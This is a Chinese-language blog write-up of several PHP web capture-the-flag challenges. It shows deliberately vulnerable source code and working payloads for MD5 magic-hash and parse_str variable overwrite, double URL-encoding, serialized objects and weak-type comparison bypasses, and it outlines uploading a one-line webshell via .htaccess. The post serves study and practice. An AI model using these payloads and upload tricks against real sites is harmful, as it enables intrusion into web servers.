最近做的题的wp

variacover

主要考点是变量覆盖

<meta charset="utf-8"> <?php error_reporting(0); if (empty($_GET['b'])) {     show_source(__FILE__);     die(); }else{     include('flag.php'); $a = "www.XMAN.com"; $b = $_GET['b']; @parse_str($b); if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) //判断$a[0]的值不是QNKCDZO且$a[0]的MD5值要和QNKCDZO的MD5值相同 {     echo $flag; }else{ exit('你的答案不对0.0'); } } ?> 

接受参数的只有变量b,但是需要更改参数a[0]

@parse_str($b)把查询字符串解析到变量中,如果有同名变量,将原来的覆盖。

由于PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

PHP处理0e开头md5哈希字符串缺陷/bug

构造payload:

?b=a[0]=s878926199a 

拿到flag ayyctf{318fa61ae531e1778ffa6661c9b1ff06}

upload1

F12 删除前端认证,然后上一句话木马 蚁剑连接拿flag

upload

先bp抓包上传.htaccess文件,将png文件解析为php文件,然后上一句话木马 蚁剑连接拿flag

unserialize3

class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code= 

反序列化 利用php中的new 实例化类xctf

<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests');     } } $a=new xctf(); echo(serialize($a)); ?>  

获得payload:

O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

利用_wakeup()函数<?php if("admin"===$_GET[id]) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "<p>Access granted!</p>"; echo "<p>Key: xxxxxxx </p>"; } ?> Can you anthenticate to this website?

传一个名为id的参数,参数值必须为经过url编码后的admin

因为url发到服务器那里会自动解码一次

所以需要二次编码

payload:

/index.php?id=%2561%2564%256d%2569%256e 

PHP

扫目录拿到index.php~

拿到源码

<?php $a=0; $b=0; $c=0; if (isset($_GET['aaa'])) {         $aaa = $_GET['aaa']; 		$aaa=="1"?die("Emmm..."):NULL;         switch ($aaa)         {         case 0:         case 1:                 $a=1;                 break;         } } $bbb=(array)json_decode(@$_GET['bbb']); if(is_array($bbb)){     is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;     if(@$bbb["ccc"]){         ($bbb["ccc"]>2017)?$b=1:NULL;     } 	if(is_array(@$bbb["ddd"])){         if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");         $eee = array_search("XMAN", $bbb["ddd"]);         $eee===false?die("Emmm..."):NULL;         foreach($bbb["ddd"] as $key=>$val){             $val==="XMAN"?die("Emmm..."):NULL;         }         $c=1; } } if($a && $b && $c){     include "flag.php";     echo $flag; } ?> 

三个参数都为1时可以拿到flag

$a:

​ witch…case的弱类型比较,可以用1a绕过

$b:

​ $bbb[“ccc”]>2017 依然是弱类型比较, 让’ccc’ => ‘2018a’ 即可

$c:

​ array_search函数的绕过,

构造payload:

/index.php?aaa=1a&bbb={"ccc":"2018a","ddd":[[""],0]} 

拿到flag

ayyctf{a2e43398d5d1a8513b233b2f0f8fa86f}

版权声明:玥玥 发表于 2021-08-19 14:20:27。
转载请注明:最近做的题的wp | 女黑客导航